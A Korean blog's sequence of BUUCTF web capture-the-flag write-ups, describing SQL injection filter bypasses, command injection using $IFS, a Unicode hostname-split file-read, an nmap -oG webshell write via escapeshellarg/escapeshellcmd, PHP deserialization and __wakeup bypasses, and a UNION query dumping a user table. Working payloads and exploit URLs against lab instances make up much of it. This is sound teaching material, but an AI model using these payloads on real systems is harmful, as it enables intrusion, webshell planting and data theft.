cookie 1로 바꿔줌

 

is_numeric 검사하고있어서 php type conversion error로 해결

echo is_numeric('404a');

 -> result : 0

echo '404a' == 404;

 -> result : 1

 

 

 

숫자길이검사해서 지수표현으로 우회

전에 봤던거랑 같은 문제

 

다만 필터링이 replace 된다

 

select, union, or, from 같은애들

 

sqli 에서 replace 될때는 seselectlect 같이 두번 넣어줘서 쉽게 우회가 가능하다

 

 

 

 

 

 

command injection

 

{} [] () %20 %09 %0a ' " ? * 등 문자 다 필터링

 

$ = ` 등 사용 가능

 

?ip=127.0.0.1;b=g.php;a=fla;cat$IFS$a$b;

 

$IFS 는 개행을 나타내는가보다

 

음 문제 자체는 괜찮았을거 같은데 buuctf에서 정보를 안준건지.. 하여튼 좀 그렇다.

 

이유는 차차 설명하도록 하겠따.

 

일단 문제 컨셉 자체는 blackhat usa 19에서 발표되었던 host split attack 이다.

 

unicode를 idna로 정규화 하였을 때 NFKC로 정규화하여 url hostname의 해석 시 한글자의 유니코드가 여러글자의 아스키로 변환되는 등 특이동작을 유발하여 필터링을 우회하는 공격이다.

 

여기선 python에서 urlparse.urlsplit 함수가 NFKC 정규화를 따르지 않아 idna 정규화된 결과와 urlsplit의 결과가 달라 hostname filtering을 우회할 수 있는 문제를 지적하여 문제로 만들었따.

 

https://bugs.python.org/issue36216 

 

Issue 36216: CVE-2019-9636: urlsplit does not handle NFKC normalization - Python tracker

Issue36216 Created on 2019-03-06 17:37 by steve.dower, last changed 2019-05-10 18:05 by ned.deily. This issue is now closed. URL Status Linked Edit PR 12201 closed steve.dower, 2019-03-06 17:45 PR 12213 merged steve.dower, 2019-03-07 16:07 PR 12215 merged

bugs.python.org

 

어쨌든 스키마검사는 안하고

 

urlparse.urlparse와 urlparse.urlsplit의 hostname이 'suctf.cc'가 아니게 나오게 하고,

 

idna 인코딩 이후엔 urlparse.urlsplit의 hostname이 'suctf.cc'가 나오게 하면 된다.

 

[!] unistr ℂ (2102) -> c (63)
[!] unistr ℅ (2105) -> c/o (63 2f 6f)
[!] unistr ℆ (2106) -> c/u (63 2f 75)

 

머 이런거 이용해주면 되는데 작년에 한참 host split 문제 나와가지고 빡쳐있었는데 이거 본 참에 전수조사 해버렸따. blackhat 발표자료에 나온거 외에도 많이 나왔는데,

 

궁금하신분들은 직접 조사해보시길!~ 안알려줄거지롱~~

 

 

어쨌든 저 중 하나 써보면 되는데

 

아니 이문제 불합리하다고 느낀게

 

내 파이썬 환경에서 urllib.urlopen('file:') 스키마에서 어떻게해도 문제 풀이처럼 file://suctf.cc/opt/../etc/passwd 를 열 수가 없다.

 

 

아마 모종의 이슈로 file스키마에 대한 검증부분이 더 들어갔거나.. 아니면 문제 환경에서 특정 python version을 명시해줬는데 buuctf에선 안해줬따거나 그런거 같은데.

 

하튼 저 위에 구문대로 하면 lfi가 가능해진다.

 

file://suctf.℆sr/../etc/passwd

 

이제 문제에선 nginx 아냐고 물어봤는데

 

nginx.conf 가져와보자

 

view-source:http://4a30e934-1357-4638-b6c0-858280b28ced.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/../etc/nginx/nginx.conf
view-source:http://4a30e934-1357-4638-b6c0-858280b28ced.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/../usr/local/nginx/conf/nginx.conf

 

 

이런문제는 이제 건너뛰고싶다.

그러니까 말없이 스샷만 첨부하겠다.

 

escapeshellcmd(escapeshellarg($host))

 

우회해서 command injection 하면 되는 문제..

 

각각은 안전한 함수이지만 두개를 같이 쓰면 위험하다고 한다.

 

 

buuctf 문제가 너무 많아서 블로그 글 퀄리티를 챙기려면 너무 내 노동력이 많이 들거같아서 앞으로 대충만 쓰기로 했다

 

저거 두개 같이쓰면 위험하다고 하는건 구글에 잘 찾아보면 나온다.

 

어쨌든,

 

 

나는 본래 의도랑 다르게 전혀 다른방법으로 풀려고 했었따.

 

nmap에선 --script 옵션을 통해 nse script를 지정할 수 있는데, 이 중 http-headers라는 스크립트가 있다.

 

이 스크립트는 대상 호스트의 웹서비스에 접근하여 헤더파일을 읽어오는 스크립트이다.

 

그리고 .htaccess에서 Header set a "b" 와 같이 클라이언트로 전달할 헤더를 설정해줄 수 있다.

 

 

따라서 우리는 .htaccess에서 헤더를 지정해주고, nmap --script=http-headers 를 통해 헤더 평문을 받아오고, 이 결과값을 -oN a.php를 통해 a.php로 뺄 수 있다면 webshell upload가 가능해질것이라 생각했다.

 

.htaccess

 

nmap 실행 결과

 

filtering 통과

 

 

와 ! 풀었따! 생각했는데 웬걸

 

원래 서버 설정이 그랬던건지 외부 통신이 안된다.

 

그래서 내 서버에 접근도 못하고 결과도 못받아온다..

 

결국 좌절하고 본래 풀이대로 했다.

 

 

본래 의도풀이는 -oG로 escapeshellcmd와 escapeshellarg를 같이 쓰는 특징을 이용하여 파일을 저장하는거라고 한다.

 

' <?php echo`$_GET[c]`;?> -oG a.php '

이거를 필터링 씌우면

이렇게 된다.

 

쉘커맨드에서 따옴표는 개수 상관없이 쌍만 맞으면 하나의 문자열로 보고, < ? 와 같은 문자를 echo하려면 \< \?처럼 escape 해줘야한다.

 

우리는 쉘커맨드를 그대로 nmap의 실행 결과로 mirroring echo 해야하므로 escaping된 문자열이 평문으로 바뀌게 되면 이 결과값을 저장하여 웹쉘을 올릴 수 있게 된다.

 

ㅏ 갑자기 쓰기가 귀찮아졌다.

 

대충 써야겠다

 

 

 

1. file_get_contents 의 결과를 welcome to the zjctf 로 만들기

 - text=data:text/plain,welcome to the zjctf

 

2. useless.php 내용 읽어오기(lfi)

 - file=php://filter/read=convert.base64-encode/resource=useless.php

 

3. useless.php

4. unserialize로 class Flag를 통해 flag.php 읽기

 

O:4:"Flag":1:{s:4:"file";N;}

에서

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

로 변조해서 unserialize하기

 

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 

view-source:http://c589b547-679e-407e-9713-d0a821da98a4.node3.buuoj.cn/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

 

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(schema_name),3%20from%20information_schema.schemata%23&password=guest

 

schema_name = geek

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27geek%27%23&password=guest

 

table_name = geekuser, l0ve1ysq1

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27l0ve1ysq1%27%23&password=guest

 

[l0ve1ysql] column name = id,username,password

 

view-source:http://5898ede5-0e9d-4e2f-8e19-add666f984c1.node3.buuoj.cn/check.php?username=%27+union+select+1,group_concat(concat(id,%27-%27,username,%27-%27,password)),3%20from%20l0ve1ysq1%23&password=guest

 

Hello 1-cl4y-wo_tai_nan_le,2-glzjin-glzjin_wants_a_girlfriend,3-Z4cHAr7zCr-biao_ge_dddd_hm,4-0xC4m3l-linux_chuang_shi_ren,5-Ayrain-a_rua_rain,6-Akko-yan_shi_fu_de_mao_bo_he,7-fouc5-cl4y,8-fouc5-di_2_kuai_fu_ji,9-fouc5-di_3_kuai_fu_ji,10-fouc5-di_4_kuai_fu_ji,11-fouc5-di_5_kuai_fu_ji,12-fouc5-di_6_kuai_fu_ji,13-fouc5-di_7_kuai_fu_ji,14-fouc5-di_8_kuai_fu_ji,15-leixiao-Syc_san_da_hacker,16-flag-flag{bd[redacted]c5}!

 

 

'Web > BUUCTF' 카테고리의 다른 글

[BUUCTF] - [BUUCTF 2018]Online Tool  (0) 2020.02.28
[BUUCTF] - [ZJCTF 2019]NiZhuanSiWei1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]LoveSQL1  (0) 2020.02.26
[BUUCTF] - [极客大挑战 2019]PHP1  (0) 2020.02.26
[BUUCTF] - [0CTF 2016]piapiapia1  (0) 2020.02.21
[BUUCTF] - [RoarCTF 2019]Easy Java1  (0) 2020.02.18

최근 ctf 열려서 그 문제들 푸느라 한동안 buuctf를 못풀었다.

 

근데 최근 buuctf에 serialize/unserialize 문제들 나와서 풀었는데 그게 딱 pregyan ctf에 나오더라 ㅋㅋㅋ

(그 문제로 인해 rce -> 내부침투로 ctf 서버 터진건 안비밀;)

 

어쨌든 이번 문제도 serialize 관련 문제다.

 

이번에도 /www.zip 받아서 소스코드를 살펴볼 수 있었다.

 

중간에 class.php를 include하고 unserialize하는걸 확인할 수 있다.

 

class는 위와 같은데, constructor에서 username과 password를 받아 지역변수로 선언하고, destructor에서 password가 100이고 username이 admin이면 flag를 뿌려주는것을 확인할 수 있다.

 

특이한건 __wakeup() 메서드인데, 이 메서드는 object를 unserialize할때 실행되는 메서드라고 한다.

 

따라서 우리가 unserialize로 Name class를 unserializing하면 __wakeup() 메서드에 의해 username이 guest로 바뀌게 되어 플래그 출력이 불가해지는 것이다.

 

여기서 __wakeup()메서드에 관한 cve가 있었다 

 

CVE-2016-7124

https://bugs.php.net/bug.php?id=72663

 

PHP :: Sec Bug #72663 :: Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization

 

bugs.php.net

 

간단하게 설명하면, new name("admin",100) 을 serializing하면

 

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 

위와같이 된다.

 

여기서 Object의 serialized data format은

 

Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

위와 같은데, object size를 실제 object size보다 더 크게 주면 __wakeup() 메서드가 실행이 되지 않는 버그가 CVE-2016-7124이다

 

 

따라서 object size를 늘려주고 전송해주면 __wakeup() 메서드가 실행되지 않고 admin,100조건이 맞게되어 플래그가 출력될 것이다.

 

php의 뭐같음을 다시한번 느낄 수 있었던 문제..

 

첨에 들어가면 로그인페이지 하나 준다. 뭐 별다른것도 없고 가입하기도 안보여서 어떻게해야하지.. 하면서 dir 브포 돌렸는데..

 

 

흠....

 

 

 

쨌든 소스코드 릭이 됐다.

 

분석을 해보면

 

register.php
update.php
profile.php

 

class.php - 1
class.php - 2

 

(숨겨진) register.php로 가입을 할수 있는데(?) 기본적으로 select, insert, update 문이 따로 구현이 되어있고, 이 query들에 user input을 전달하기 전에 filter 함수를 통과한다.

 

보통 filter함수는 preg_match로 탐지하여 승인/거부를 하는게 보통인데 여기선 특이하게 preg_replace를 통해 치환조치를 한다.

 

처음 보기엔 너무 안전해보여서 (?) 좀  많이 헤매다 결국 라업보고 풀게 된 문제이다.

 

 

쨌든, config.php에 flag가 변수로 박혀있는데, 이로 미루어보아 profile.php의 file_get_contents($profile['photo'])에 photo를 오염시켜 config.php를 불러오도록 lfi를 터트려야 하는게 최종 목적일것이다.

 


이 문제를 풀면서 가장 멘붕이 왔던 부분은 바로 이것이다.

 

 

???

 

serialize()를 수행하면 string 형태의 serialized data가 나오게 되는데, 이 때 구분자는 "(double quote)이다. 

 

그런데 사용자가 입력한 double quote가 그대로 삽입이 된다.

 

물론 s:6 <- 여기 이 문자열 길이로 체크하여 unserialize때 반영하긴 하지만 그대로 삽입된다는게 신선한 충격이었다.

 

(다른언어도 이런가 확인해보니, python의 pickle / ruby의 marshal 모두 serialized data의 구분자로 쓰이는 문자가 input에 들어갔을 경우 별도의 escaping logic이 존재했다)

 

 

어쨌든 이걸 이용하여 우리는 php serialize 함수에 injection attack을 해볼것이다.

 

 

1. filter함수는 "select, update, insert, delete, where"등 문자가 나오면 "hacker"로 치환시키는 함수이다.

 

2. update.php에서 user input을 통해 update를 수행하는 과정은 아래와 같다.

 ㄱ. post method로 전달된 user input이 존재하는지 확인

 ㄴ. username = $_SESSION['username'];

 ㄷ. phone number, email, nickname을 차례대로 정규식으로 검사, 검사결과가 맞지 않으면 die

  ㄷ-1. phone number - /\d{11$/ (attack impossible)

  ㄷ-2. email - (생략) (attack impossible)

  ㄷ-3. /[^a-zA-Z0-9_]/ && strlen($_POST['nickname']) <= 10 

    -> nickname[]=asdf

    -> strlen(['asdf']) == 0

 

 3. $profile dictionary에 user input information을 저장

 

 4. serialize($profile) 수행

 

 5. filter(serialize($profile)) 수행

 

 6. update 수행

 

- profile.php -

 

 7. select profile from users;

 

 8. unserialize($profile);

 

 9. file_get_contents(unserialize($profile)['photo']);

 


serialized data 이후에 filter 함수가 수행되므로 preg_replace는 serialized data에 직접 수행된다.

 

a:4:{s:5:"phone";s:11:"01073745280";s:5:"email";s:8:"aa@a.com";s:8:"nickname";a:1:{i:0;s:4:"asdf";}s:5:"photo";s:39:"upload/01234567890123456789012345678912";}

 

serialized data는 위와 같은데, 우리가 nickname[]=asdf를 넣게되면 위와같이 된다.

 

a:4:{s:5:"phone";s:11:"01073745280";s:5:"email";s:8:"aa@a.com";s:8:"nickname";a:1:{i:0;s:4:"asdf";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/01234567890123456789012345678912";}

위와같이 injection을 하게되면 nickname 뒤에있는 photo의 field value를 우리가 원하는 임의 값으로 쓸 수 있다.

 

php unserialize함수에선 앞에서부터 length를 해석하여 다 해석하면 그 뒤에부분을 버리기 때문에 a:4로 설정된 4개의 값 이후에 있는 injection 뒤의 찌꺼기 부분은 무시된다. 따라서 위와같이 injection된다면 unserialize($profile)['photo']는 'config.php'가 될것이다.

 

하지만 우리가 문자열을 삽입해주면 nickname 배열 안의 값 길이(s:{len})가 변하게 되는데, 우리가 만약 where를 넣게 된다면 hacker로 치환되며 1글자를 이득(?) 볼 수 있다.

 

따라서 우리가 본래 삽입부분 외에 넣어야 할 글자 - ";}s:5:"photo";s:10:"config.php";}- 의 길이수만큼 where를 넣는다면 글자수가 딱 맞게 될것이다.

 

 

 

+ Recent posts